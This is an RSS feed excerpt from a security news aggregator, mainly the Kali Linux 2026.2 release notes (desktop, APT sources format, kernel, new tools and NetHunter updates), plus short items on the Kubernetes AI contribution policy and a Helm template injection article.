<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/06/29/simplifying-policy-management-with-open-policy-agent-gatekeeper/">Simplifying Policy Management with Open Policy Agent Gatekeeper</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Kali Linux 2026.2 Release (GNOME 50, KDE 6.6, Helper Scripts, APT Formats & VM Boot Tweaking)]]></title>
<description><![CDATA[It’s the final week of Q2, and Kali Linux 2026.2 is here - right on schedule ;) We have been heads down since our last release, and we are ready to share what we have been working on. This release is a mix of desktop refreshes, infrastructure improvements, and quality-of-life changes that we thin...]]></description>
<link>https://tsecurity.de/de/3633508/tools/kali-linux-20262-release-gnome-50-kde-66-helper-scripts-apt-formats-vm-boot-tweaking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633508/tools/kali-linux-20262-release-gnome-50-kde-66-helper-scripts-apt-formats-vm-boot-tweaking/</guid>
<pubDate>Mon, 29 Jun 2026 18:25:00 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>It’s the final week of Q2, and Kali Linux 2026.2 is here - right on schedule ;) We have been heads down since our last release, and we are ready to share what we have been working on. This release is a mix of desktop refreshes, infrastructure improvements, and quality-of-life changes that we think you will appreciate.</p>
<p>The summary of the <a href="https://bugs.kali.org/changelog_page.php">changelog</a> since the <a href="https://www.kali.org/blog/kali-linux-2026-1-release/">2026.1 release from March</a> is:</p>
<ul>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#desktop-environments-updates">Desktop Environments</a></strong> - Bump to GNOME 50 and KDE Plasma 6.6</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#improved-consistency-for-services-helper-scripts">Helper Scripts Consistency</a></strong> - Consistency to our little launches at starting services</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#apt-gets-a-new-sources-format">APT Format</a></strong> - Goodbye <code>sources.list</code>, hello <code>sources.list.d/kali.source</code></li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#no-more-graphics-firmware-pre-installed-for-vm-use-cases">VM Boot Optimisation</a></strong> - Smaller initrd + faster boot times = happy virtual machine users</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#disruptive-package-updates">Reboot Warning</a></strong> - Heads-up, <code>polkit</code> and <code>xrdp</code> upgrades require a system reboot</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#linux-kernel-for-this-release-619">Kali Kernel Incoming</a></strong> - Staying with 6.19 for now, how to get 7.0 early</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#a-sneak-peek-build-scripts">Build Scripts Incoming</a></strong> - Heads-up with some changing on the way</li>
<li><strong><a href="https://www.kali.org/blog/kali-linux-2026-2-release/#new-tools-in-kali">New Tools</a></strong> - As always, various new shiny packages have been added <em>(9!)</em></li>
</ul>
<hr>
<h2>Desktop Environments Updates</h2>
<p>As we do roughly every six months, every other Kali release, our <a href="https://www.kali.org/docs/general-use/switching-desktop-environments/">desktop environments</a> get a major update. This time it’s for: <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#gnome-50">GNOME</a> and <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#kde-plasma-6-6">KDE Plasma</a>. Neither brings sweeping changes, but both have put real effort into <strong>refining performance and usability</strong> across the whole ecosystem.</p>
<h3>GNOME 50</h3>
<p>GNOME 50 brings usability and performance improvements across the desktop. The <strong>file manager received significant optimizations</strong>, resulting in faster thumbnail and icon loading, improved responsiveness, and reduced memory usage. The desktop also received new accessibility enhancements through a brand-new preferences window, tweaks to the screen reader, and automatic language switching.</p>
<p>Another addition is <strong>support for document annotations</strong> in the Document Viewer app, making it easier to add text notes and highlights directly to documents.</p>
<p>Here you can read more about all the changes with this new GNOME release: <a href="https://release.gnome.org/50/">GNOME 50 release announcement</a>.</p>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/gnome-50.png" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/gnome-50.png" alt="Kali + GNOME 50">
</a>
</p>

<h3>KDE Plasma 6.6</h3>
<p>KDE Plasma 6.6 focuses on improving usability and accessibility while introducing several new features, including a <strong>new on-screen keyboard</strong>, providing a better experience particularly for touch-enabled devices.</p>
<p>The <strong>Spectacle screenshot utility can now recognize and extract text</strong> directly from screenshots, making OCR functionality available from the desktop. Accessibility has also been enhanced with new color-vision support options, improvements to Zoom and Magnifier, support for Slow Keys on Wayland, and adoption of the standardized Reduced Motion setting.</p>
<p>Here you can read more about all the changes with this new Plasma release: <a href="https://kde.org/announcements/plasma/6/6.6.0/">KDE Plasma 6.6 release announcement</a>.</p>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/kde-6.6.png" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/kde-6.6.png" alt="Kali + KDE Plasma 6.6">
</a>
</p>

<h2>Improved Consistency For Services Helper Scripts</h2>
<p>To improve consistency across tools that depend on a service, we have updated our helper scripts. Previously, a tool that required a service might only let you start it (with no way to stop) - and the information displayed back was inconsistent (mixture of service status, how to access, default credentials or nothing at all). With this change, multiple packages have been updated to use these new scripts, which now handle the following tasks:</p>
<ul>
<li>Manage the service - <strong>start/stop</strong></li>
<li><strong>Check if the service is already running</strong> - avoiding starting it twice</li>
<li>Show the <strong>service status</strong></li>
<li>Show any <strong><a href="https://www.kali.org/docs/introduction/default-credentials/">default credentials</a></strong></li>
<li>Show <strong>how to access it</strong> - such as if it’s a web UI, the URL <em>(and bonus, <strong>automatically open it in the browser</strong>!)</em></li>
</ul>
<p>We also make sure that any Kali packages which include a service use <strong><code>&lt;tool&gt;-start</code></strong>/<strong><code>&lt;tool&gt;-stop</code></strong> for their command names.</p>
<p><em>Hopefully this makes the little things a little easier.</em></p>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/kali-services.png" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/kali-services.png" alt="Kali Services Helper Scripts">
</a>
</p>

<h2>APT Gets A New Sources Format</h2>
<p>Since the beginning of time, the APT sources for Kali Linux were configured in the file <code>/etc/apt/sources.list</code>. This file tells APT from where to update your system, and it’s so fundamental that pretty much everyone (that is, Kali users) knows this file and its content:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ cat /etc/apt/sources.list
# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware
</code></pre>
<p>Well, it’s a <strong>“once in a distro lifetime” kind of thing, and here it is</strong> - <code>/etc/apt/sources.list</code> is retired, in favor of the new file <code>/etc/apt/sources.list.d/kali.sources</code>:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ cat /etc/apt/sources.list.d/kali.sources
# See https://www.kali.org/docs/general-use/kali-apt-sources/
Types: deb
URIs: http://http.kali.org/kali/
Suites: kali-rolling
Components: main contrib non-free non-free-firmware
Signed-By: /usr/share/keyrings/kali-archive-keyring.gpg
</code></pre>
<p><strong>All the freshly-installed systems will be configured</strong> as such. <strong>Existing systems won’t be changed</strong>. Both files are equivalent and work just the same. However, in the near future, APT will warn if the old file is in use, and will suggest modernizing it.</p>
<p>Note that, for those in the know, this isn’t anything new: both formats have existed for a long time now, and you could use either one or the other. What’s happening is that the <em>default</em> is slowly changing, from the <strong>old “one-line-style”</strong> to the <strong>new “deb822-style”</strong>. This is happening in Debian and in Debian-derivatives like Ubuntu. Kali is just following suit.</p>
<p>And for the curious, there’s a very complete and detailed manual page:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ man sources.list
</code></pre>
<h2>No More Graphics Firmware Pre-installed For VM Use-cases</h2>
<p>Kali has had a long tradition of pre-installing a lot of firmware in its images. The upside is that users didn’t need to know what firmware they needed to install for their hardware to work: it was already there. And the downside, obviously, was that all the firmware that wasn’t needed was nevertheless installed and taking space for nothing. </p>
<p>It worked for us so far, in the sense that we don’t get too many bug reports related to missing firmware. But lately the changing landscape of <em>graphics firmware</em> forced us to re-evaluate this decision.</p>
<p>The issue with graphics firmware is that it just keeps growing bigger, and right now having it installed for <a href="https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/">NVidia</a>, AMD and Intel GPUs takes almost 300 MB. But what’s even worse: some bits and pieces of these firmware packages need to be loaded very early, and therefore they are also installed in the initrd (note: the initrd, or initramfs, is this “minimal” system that is loaded early on by the kernel at boot time). And lately, the Kali initrd peaked at around 200 MB, mainly due to graphics firmware. What does that mean in practice? A bigger initrd means slower boot time, and can potentially fill up your <code>/boot</code> partition if ever it’s too small.</p>
<p>So we thought we could improve the situation for VM users here: the vast majority probably don’t need graphics firmware, ever. The only use-case we can think of is a VM with a dedicated GPU + GPU passthrough enabled. If you’re in this case, you might need graphics firmware.</p>
<p>So, what changed in practice, you may ask?</p>
<ul>
<li><strong><a href="https://www.kali.org/get-kali/#kali-virtual-machines">Pre-built VM images</a> don’t come with graphics firmware anymore</strong></li>
<li><a href="https://www.kali.org/get-kali/#kali-installer-images"><strong>Installer images</strong></a> now detect if installation happens <strong>in a VM</strong>, and in that case <strong>graphics firmware is not installed</strong></li>
</ul>
<p>As a result, the <strong>initrd is down to 60 MB for VM users, and the boot time is cut by ~3x</strong> (tested for QEMU VM on a Linux host, your mileage may vary). That’s a massive improvement in boot time.</p>
<p>For baremetal users: nothing changed, so you still get a 200 MB initrd with all graphics firmware pre-installed. If you’d like to optimize, it’s on you to uninstall the firmware that you don’t need. A word of caution though: make sure to know what you’re doing, because removing graphics firmware that is <em>needed</em> might leave you with a <a href="https://www.kali.org/docs/troubleshooting/graphics-issues-on-bare-metal-installation/">system without graphics after reboot</a>.</p>
<h2>Disruptive Package Updates</h2>
<p>We’ve got some slightly disruptive updates in this release.</p>
<p><strong>polkit: a reboot is required</strong></p>
<p>The update of the <code>polkitd</code> package requires a reboot, otherwise <em>trying to start GUI applications as root will fail with cryptic error messages</em>.</p>
<p>There’s an indication of this <strong>reboot requirement</strong> in the output of <code>apt full-upgrade</code>, when the <code>polkitd</code> package is updated. It’s just <strong>not very obvious</strong>, the hint is buried with the rest of the logs:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;&amp; sudo apt full-upgrade
[...]
Setting up libpolkit-gobject-1-0:amd64 (127+really127-0kali1)…
Setting up libpolkit-agent-1-0:amd64 (127+really127-0kali1)…
Setting up polkitd (127+really127-0kali1)…
Upgrading to this polkitd version requires a reboot, please reboot the system when convenient.
Created symlink '/etc/systemd/system/sockets.target.wants/polkit-agent-helper.socket' → '/usr/lib/systemd/system/polkit-agent-helper.socket'.
[...]
</code></pre>
<p>After a reboot, and if ever you still can’t run applications as root, make sure that <code>polkit-agent-helper</code> is started:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo systemctl enable --now polkit-agent-helper.socket
</code></pre>
<p>If you’re still having issues, reach out on our <a href="https://bugs.kali.org/">bug tracker</a>.</p>
<hr>
<p><strong>xrdp: a reboot is required</strong></p>
<p>In this Kali release, we updated <code>xrdp</code> and <code>xorgxrdp</code> to the <code>v0.10</code> series. <a href="https://www.kali.org/docs/general-use/xfce-with-rdp/">xrdp</a> is an open-source Remote Desktop Protocol server: you might use it if you connect to your Kali instance remotely. <em>If you’re an xrdp user, you’ll need to reboot after this upgrade</em>.</p>
<p>For those who run Kali in Hyper-V, using the <a href="https://www.kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/">Enhanced Session Mode</a>: you’re an xrdp user, even if you didn’t know it! We did our best to ensure a smooth transition, and yet we got reports that xrdp wasn’t functional after the upgrade. If ever you’re in this case, you can try to run <code>kali-tweaks</code>, and in the Virtualization section you can try to <strong>disable, and then enable again</strong> the Hyper-V Enhanced Session Mode. That might fix the issue. <strong>Don’t forget to reboot</strong>!</p>
<p>As always, if you’re still having issues after that, feel free to reach out on the <a href="https://bugs.kali.org/">Kali bug tracker</a>.</p>
<h2>Linux Kernel For This Release: 6.19</h2>
<p>Regarding the version of the <a href="https://pkg.kali.org/pkg/linux">Linux kernel</a> to include in this release of Kali, it’s been a tough decision.</p>
<p>On one hand, we’d like to release with the latest version of the Linux kernel, due to all the recent vulnerability disclosures (<a href="https://en.wikipedia.org/wiki/Copy_Fail">Copy Fail/CVE-2026-31431</a>, <a href="https://github.com/V4bel/dirtyfrag">Dirty Frag/CVE-2026-43284 &amp; CVE-2026-43500</a> and others ). On the other hand, when the 7.0 kernel reached Debian, there were <a href="https://bugs.debian.org/1135362">reports of incompatibilities with the NVidia DKMS drivers</a> .</p>
<p>We decided to release with a 6.19 kernel to avoid breaking <a href="https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/">NVidia users</a>. At the same time, for <strong>those who prefer to get the latest kernel</strong> and don’t care about NVidia compatibility, <strong>we have the kernel 7.0 ready for you in <code>kali-experimental</code></strong>. Make sure to check our documentation that explains <a href="https://www.kali.org/docs/general-use/kali-apt-sources/#enabling-kali-additional-branches">how to enable the kali-experimental repository</a>. The 7.0 kernel is also available in kali-rolling, so you can just <a href="https://www.kali.org/docs/general-use/updating-kali/">update your whole system</a> and get the latest packages from <a href="https://www.kali.org/docs/general-use/kali-branches/">kali-rolling</a>.</p>
<h2>A Sneak Peek: Build Scripts</h2>
<p>Our <a href="https://gitlab.com/kalilinux/build-scripts/">build scripts</a> are what we use to produce every Kali image - ARM SBCs, Base (Installer and live ISOs), Cloud, Containers, VMs, WSL &amp; NetHunter/Pro. Each lives in its own repo, and over time they have each grown in slightly different directions. For the next release, Kali 2026.3, we are doing <strong>a consistency pass across all of them: same structure, same conventions, same behaviour throughout</strong>.</p>
<p>As a result of these changes, some CI pipelines or workflows may need tweaking.</p>
<h2>New Tools in Kali</h2>
<p>This release brings <strong>9 new tools</strong> <em>(to the network repositories)</em>. As always, we have been busy adding to the arsenal:</p>
<ul>
<li><a href="https://www.kali.org/tools/arsenal-ng/">arsenal-ng</a> - Go-based command library equipped with 200+ cybersecurity cheat-sheets</li>
<li><a href="https://www.kali.org/tools/hydra/">hydra-gtk</a> - [Re-added] Very fast network logon cracker - GTK+ based GUI</li>
<li><a href="https://www.kali.org/tools/legba/">legba</a> - Multiprotocol credentials bruteforcer / password sprayer and enumerator</li>
<li><a href="https://www.kali.org/tools/oletools/">oletools</a> - Analyze MS OLE2 files and MS Office documents</li>
<li><a href="https://www.kali.org/tools/penelope/">penelope</a> - Powerful shell handler</li>
<li><a href="https://www.kali.org/tools/shell-gpt/">shell-gpt</a> - Command-line productivity tool powered by AI large language models</li>
<li><a href="https://www.kali.org/tools/tailscale/">tailscale</a> - Secure connectivity platform</li>
<li><a href="https://www.kali.org/tools/tookie-osint/">tookie-osint</a> - OSINT information gathering tool for finding social media accounts</li>
<li><a href="https://www.kali.org/tools/uro/">uro</a> - Declutter URLs for crawling/pentesting</li>
</ul>
<p><em>There has also been numerous packages updates and new libraries as well. We also bump the <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#linux-kernel-for-this-release-619">Kali kernel to 6.19</a>.</em></p>
<h2>Kali NetHunter Updates</h2>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/nethunter-eviltwin.jpg" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/nethunter-eviltwin.jpg" alt="Kali NetHunter EvilTwin">
</a>
</p>

<p>We have a tremendous amount of news for the lovers of mobile hacking! The <a href="https://store.nethunter.com/packages/com.offsec.nethunter/">Kali NetHunter app</a> <strong>launches instantly</strong> now, various <strong>bugs have been fixed</strong> with the <a href="https://www.kali.org/docs/nethunter/nethunter-custom-commands/">custom commands</a> and <a href="https://www.kali.org/docs/nethunter/nethunter-chroot-manager/">chroot manager</a> . A <strong>new EvilTwin</strong> (Wi-Fi Fake AP) tab has been added with password verification captive portal, <em>which brought along a really needed iptables fix</em>. So now after using <a href="https://www.kali.org/docs/nethunter/nethunter-wifipumpkin/">Wifipumpkin3</a> or EvilTwin, Android Hotspot will work properly. Huge thanks to the incredible work by <a href="https://gitlab.com/dr1408">@dr.rootsu</a>. The <a href="https://www.kali.org/docs/nethunter/nethunter-kernel/">kernel flasher tab</a> has also <strong>received a refresh</strong>.</p>
<p>However, this release’s spotlight is on the beginning of the <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#the-qcacld30-injection-story">Qcacld-3.0 injection patch</a> wave.</p>
<h3>The Qcacld3.0 Injection Story</h3>
<p>We finally came to a milestone, shout-out to all the developers that worked on injection through the <em>years</em>!</p>
<p><a href="https://gitlab.com/kimocoder">@kimocoder</a> easily spent more than anyone else on this goal. His original injection implementation came to life, on a specific device: the OnePlus Nord (AC2003). You can find the commit <a href="https://github.com/kimocoder/android_kernel_oneplus_avicii/commit/8eb5de1047e7bf069cb4de38c3a35489b35df189">here</a>. Then <a href="https://gitlab.com/Loukious">@Loukious</a> came in the mix and his modifications made it to work on other devices with <a href="https://github.com/Loukious/android_kernel_xiaomi_sm8150/commit/18c57c61ecd8f02de778e36db6be9b41167a8825">this port</a>. Finally, <a href="https://gitlab.com/cyberknight777">@cyberknight777</a> did some housekeeping, removed unnecessary changes, logging, and restored the correct authorship while attributing @Loukious as co-author. The result, <a href="https://github.com/Neternels/android_kernel_xiaomi_sunny/commit/1a4a7d313acc75cfca9a5e97673745d721b6ccea">this patch</a> is the <strong>almost universal</strong> one which brought many devices into the injection world, starting with the ones below for both kernel 4.x and 5.x versions:</p>
<ul>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-oneplus-7/">OnePlus 7</a> (LineageOS 23.2)</li>
<li>OnePlus 9 / 9 Pro</li>
<li>OnePlus Nord</li>
<li>POCO X3 Pro</li>
<li>Redmi Note 10</li>
<li>Samsung A73</li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-xiaomi-mi-a3/">Xiaomi Mi A3</a> (LineageOS 23.2)</li>
<li>Xiaomi Poco X3 NFC (PixelOS Android 16)</li>
<li>Xiaomi Redmi Note 8</li>
</ul>
<h3>Wifite On TV</h3>
<p></p><p>
<a href="https://www.kali.org/blog/kali-linux-2026-2-release/images/nethunter-wifite2-netflix-bloodhounds-s02e01.jpg" target="_blank">
<img src="https://www.kali.org/blog/kali-linux-2026-2-release/images/nethunter-wifite2-netflix-bloodhounds-s02e01.jpg" alt="Kali Wifite Netflix Bloodhounds S02E01">
</a>
</p>

<p>In the meantime, his continuous work on improving <a href="https://www.kali.org/tools/wifite/">wifite</a> caught some attention - spotted on Netflix twice. Not bad!</p>
<h3>Magisk Standalone Kernel Installer</h3>
<p>The kernel flasher tab <em>(still experimental on some devices)</em> is back in a new shape, giving a hint for the possible future look for the NetHunter app.</p>
<p>The <strong>Magisk standalone kernel flashing support is now here</strong> - you can simply open any newly built kernel installer zip in the Magisk app that was built using the <a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-installer">kali-nethunter-installer</a>.</p>
<h3>New Kernels</h3>
<p>In addition to the kernels that now support the qcacld3 injection, there are several <a href="https://nethunter.kali.org/kernels.html">new versions and phones</a>:</p>
<ul>
<li>Google Pixel 6a (LineageOS 23.2)</li>
<li>Redmi 5A (crDroid 14)</li>
<li>Samsung Note 20 Ultra (Android 13)</li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-samsung-galaxy-s10/">Samsung S10</a> (LineageOS 23.2)</li>
<li>Samsung S10 5G (LineageOS 23.2)</li>
<li>Samsung S10+ (LineageOS 23.2)</li>
<li>Samsung S10e (LineageOS 23.2)</li>
</ul>
<h3>NetHunter Pro</h3>
<p>Kali bare metal now on more phones! New devices added in build thanks to the awesome work by <a href="https://github.com/taygoth">@Max Furman</a>:</p>
<ul>
<li>Fairphone FP5 (QCM6490) (fp5)</li>
<li>Google Pixel 3 (SDM845) (blueline)</li>
<li>Google Pixel 3a (SDM670) (sargo)</li>
<li>Google Pixel 3a XL SDC panel (SDM670) (bonito-sdc)</li>
<li>Google Pixel 3a XL Tianma panel (SDM670) (bonito-tianma)</li>
<li>Google Pixel 4a (SDM730) (sunfish)</li>
<li>LG G7 ThinQ (SDM845) (judyln)</li>
<li>LG V35 ThinQ (SDM845) (judyp)</li>
<li>Samsung Galaxy S9 China (SDM845) (starqltechn)</li>
<li>SHIFTphone 8 (QCM6490) (otter)</li>
<li>Sony Xperia 10 III (SM6350) (pdx213)</li>
<li>Sony Xperia XZ2 (SDM845) (xperia-tama-apollo)</li>
<li>Sony Xperia XZ2 Compact (SDM845) (xperia-tama-akari)</li>
<li>Sony Xperia XZ2 Premium (SDM845) (xperia-tama-akatsuki)</li>
<li>Xiaomi Mi 10T Lite (SM7225) (toco)</li>
<li>Xiaomi Mi 9 Pro 5G (SM8150) (tucana)</li>
<li>Xiaomi Mi 9T Pro Samsung panel (SM8150) (davinci-samsung)</li>
<li>Xiaomi Mi 9T Pro Visionox panel (SM8150) (davinci-visionox)</li>
<li>Xiaomi Mi Mix 2S (SDM845) (polaris)</li>
<li>Xiaomi Poco X3 Huaxing panel (SM7150) (surya-huaxing)</li>
<li>Xiaomi Poco X3 Tianma panel (SM7150) (surya-tianma)</li>
<li>Xiaomi Redmi Note 10 Pro (SM7150) (sweet)</li>
</ul>
<h3>NetHunter Podcast Episode 3</h3>
<p><a href="https://gitlab.com/yesimxev">@yesimxev</a> and <a href="https://www.linkedin.com/in/kristopher-wilson-208b59123">@Kristopher Wilson</a> joined for a discussion about NetHunter in cars, and leveraging AI for Bug Bounty projects and more.</p>
<div>

</div>
<h2>Kali Website Updates</h2>
<p>Since our last release, Kali 2026.1, we have been keeping the website and documentation up-to-date. Here is a quick summary of what has changed.</p>
<h3>Kali Documentation</h3>
<p>Most of the <a href="https://www.kali.org/docs/">documentation</a> updates this cycle are around NetHunter device support and the new APT sources format. Pages which got something more than a tweak:</p>
<ul>
<li><a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">Creating A Custom Kali ISO</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/troubleshooting/handling-common-apt-errors/">Handling common APT problems</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-samsung-galaxy-s10/">Installing NetHunter on the Samsung Galaxy S10</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-ticwatch-pro-3/">Installing NetHunter on the TicWatch Pro 3</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-ticwatch-pro/">Installing NetHunter on the TicWatch Pro</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-xiaomi-mi-a2/">Installing NetHunter on the Xiaomi Mi A2</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-xiaomi-mi-a3/">Installing NetHunter on the Xiaomi Mi A3</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/">Kali NetHunter</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/general-use/kali-apt-sources/">Kali Network Repositories (/etc/apt/sources.list)</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/introduction/default-credentials/">Kali’s Default Credentials</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/">Submitting Bugs for Kali Linux</a> <em>(updated)</em></li>
</ul>
<p>We also want to say a little thank you to the following for their work on the sites:</p>
<ul>
<li><a href="https://gitlab.com/chrisjr404">@Chris Southerland Jr</a></li>
<li><a href="https://gitlab.com/mr00k3">@mr00k3</a></li>
<li><a href="https://gitlab.com/Simeon53424">@Simeon_YT</a></li>
<li><a href="https://gitlab.com/V0lk3n">@V0lk3n</a></li>
</ul>
<p>Anyone can help out, anyone can get <a href="https://www.kali.org/docs/community/contribute/">involved</a>!</p>
<h3>New Kali Mirrors</h3>
<p>We welcomed <strong>1 new mirror</strong> during this release cycle, but that’s a significant one: <strong>our first mirror in Africa!</strong> Hoping that many others will follow ;)</p>
<p>The mirror is located in <strong>South Africa</strong>, online at <a href="https://mirror.africloud.com/kali/">mirror.africloud.com</a>. It is sponsored by <a href="https://africloud.com/">AFRICLOUD</a>, and was setup thanks to Oluniyi Ajao.</p>
<p>If you have the disk space and bandwidth, <a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">we always welcome new mirrors</a>.</p>
<hr>
<h2>Get Kali Linux 2026.2</h2>
<p><strong>Fresh Images</strong></p>
<p>So what’s stopping you? Go and <a href="https://www.kali.org/get-kali/">get Kali</a> already!</p>
<p>If you cannot wait for the next release, we also produce <strong><a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds</a></strong> which include the latest packages at the time of download, meaning fewer updates needed on first boot. These are automated builds rather than QA’d releases like our standard <a href="https://www.kali.org/releases/">release images</a>, but we still welcome <a href="https://bugs.kali.org/">bug reports</a> on them. The earlier we catch issues, the sooner they get fixed.</p>
<p><strong>Existing Installs</strong></p>
<p>Using Kali already? Great! You can <a href="https://www.kali.org/docs/general-use/updating-kali/">keep it up-to-date</a> by doing:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo tee /etc/apt/sources.list.d/kali.sources &lt;&lt; 'EOF'
Types: deb
URIs: http://http.kali.org/kali/
Suites: kali-rolling
Components: main contrib non-free non-free-firmware
Signed-By: /usr/share/keyrings/kali-archive-keyring.gpg
EOF
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;&amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ sudo reboot -f
</code></pre>
<p><em>Remember, we recommend doing <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#disruptive-package-updates">a reboot for this release</a>!</em></p>
<p>You should now be on Kali Linux 2026.2. We can double check this by doing:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2026.2"
VERSION_ID="2026.2"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1+kali1 (2026-05-05)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.19.14+kali-amd64
</code></pre>
<p><em>NOTE: The output of <code>uname -r</code> may be different depending on the system <a href="https://pkg.kali.org/pkg/linux">architecture</a>.</em></p>
<hr>
<p>As always, if you run into anything broken, please <a href="https://bugs.kali.org/">report it</a>. <em>We will never be able to fix what we do not know is broken!</em> <strong>And Social networks are not bug trackers!</strong></p>
<hr>
<p>Want to keep up-to-date easier? We’ve got you!</p>
<ul>
<li><a href="https://www.kali.org/blog/">Blog</a>? Use our <a href="https://www.kali.org/rss.xml">RSS feed</a> and <a href="https://www.kali.org/newsletter/">newsletter</a></li>
<li><a href="https://www.kali.org/get-kali/">Download</a>? We have a <a href="https://www.kali.org/torrents.xml">Torrent RSS feed</a></li>
<li><a href="https://www.kali.org/docs/community/list-of-official-kali-sites/#social-media-networks">Socials</a>? <a href="https://bsky.app/profile/kalilinux.bsky.social">Bluesky</a>, <a href="https://www.facebook.com/KaliLinux/">Facebook</a>, <a href="https://www.instagram.com/kalilinux/">Instagram</a>, <a href="https://infosec.exchange/@kalilinux">Mastodon</a> &amp; <a href="https://x.com/kalilinux">X</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open source maintainership in the age of AI (Kubernetes blog)]]></title>
<description><![CDATA[The Kubernetes project has published a blog
post explaining its AI
policy:


The main problem is that AI has made generating code fast but there
has been very little improvement in maintaining code bases. In this
post, we will highlight the ways the Kubernetes community is adapting
to the world o...]]></description>
<link>https://tsecurity.de/de/3633404/linux-tipps/open-source-maintainership-in-the-age-of-ai-kubernetes-blog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633404/linux-tipps/open-source-maintainership-in-the-age-of-ai-kubernetes-blog/</guid>
<pubDate>Mon, 29 Jun 2026 17:56:24 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Kubernetes project has published a <a href="https://kubernetes.io/blog/2026/06/26/open-source-maintainership-in-the-age-of-ai/">blog
post</a> explaining its <a href="https://www.kubernetes.dev/docs/guide/pull-requests/#ai-guidance">AI
policy</a>:</p>

<blockquote class="bq">
<p>The main problem is that AI has made generating code fast but there
has been very little improvement in maintaining code bases. In this
post, we will highlight the ways the Kubernetes community is adapting
to the world of AI assisted coding.</p>

<p>The first step of this journey was to develop an AI policy. This
seems mundane and bureaucratic but there were many PRs that derailed
into discussions around AI usage. The AI policy helps steer the
conversation around the project's stance on AI and provides a clear
signal to contributors on how to use these tools responsibly.</p>
</blockquote>

<p>Of note, the project requires disclosure when AI tools have been
used to assist in the creation of a contribution but <em>forbids</em> the use
of listing AI as a co-author or including "assisted-by" or
"co-developed" trailers to attribute work to an LLM tool.</p>

<p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Charting your way in: Helm template injection]]></title>
<description><![CDATA[During the audit of a Kubernetes cluster, we encountered an injection in a Helm template applied through ArgoCD. To our surprise, very few resources exist regarding YAML injection in vulnerable Helm templates. In this blog post, we will explore this kind of vulnerability and how to prevent its ex...]]></description>
<link>https://tsecurity.de/de/3633085/it-security-nachrichten/charting-your-way-in-helm-template-injection/</link>
